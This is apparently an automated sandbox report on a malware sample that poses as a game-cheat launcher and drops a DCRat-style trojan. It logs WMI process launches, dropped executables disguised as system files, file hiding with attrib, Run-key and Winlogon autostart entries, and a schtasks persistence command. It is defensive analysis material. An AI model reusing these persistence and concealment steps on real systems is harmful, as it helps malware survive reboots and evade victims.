Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Uses attrib.exe to hide files

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe"

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\libcurl.dll	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Program Files\Common Files\bMCzMxeQsb.exe	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\agentInto\WinStore.App.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x4.exe	File created: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\bMCzMxeQsb.exe	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\agentInto\bMCzMxeQsb.exe	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Program Files\Microsoft\OneDrive\conhost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x10.exe	File created: C:\Users\user\AppData\Local\Temp\x9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x8.exe	File created: C:\Users\user\AppData\Local\Temp\x7.exe	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Recovery\bMCzMxeQsb.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	File created: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x7.exe	File created: C:\Users\user\AppData\Local\Temp\x6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	File created: C:\agentInto\fontsessionruntime.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\WebView2Loader.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Wpf.Ui.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	File created: C:\Users\user\AppData\Local\Temp\Built.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\cpr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x9.exe	File created: C:\Users\user\AppData\Local\Temp\x8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\ws2_32.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	File created: C:\Users\user\AppData\Local\Temp\x10.exe	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Users\Default\SearchApp.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.WinForms.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Core.dll	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Users\user\ShellExperienceHost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\zlib1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	File created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Wpf.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x6.exe	File created: C:\Users\user\AppData\Local\Temp\x5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Program Files\Windows Multimedia Platform\bMCzMxeQsb.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x5.exe	File created: C:\Users\user\AppData\Local\Temp\x4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6522\rar.exe	Jump to dropped file

Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Users\Default\SearchApp.exe			Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Users\user\ShellExperienceHost.exe			Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell

Creates multiple autostart registry keys

Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WinStore.App
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ShellExperienceHost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SearchApp
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run conhost

Drops PE files to the user root directory

Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Users\Default\SearchApp.exe			Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Users\user\ShellExperienceHost.exe			Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\agentInto\fontsessionruntime.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "bMCzMxeQsbb" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe'" /f

Source: C:\Users\user\AppData\Local\Temp\Built.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr

Source: C:\Users\user\AppData\Local\Temp\Built.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr

Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SearchApp
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SearchApp
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SearchApp
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SearchApp
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WinStore.App
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WinStore.App
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WinStore.App
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WinStore.App
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ShellExperienceHost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ShellExperienceHost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run conhost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run conhost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run conhost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run conhost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bMCzMxeQsb

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
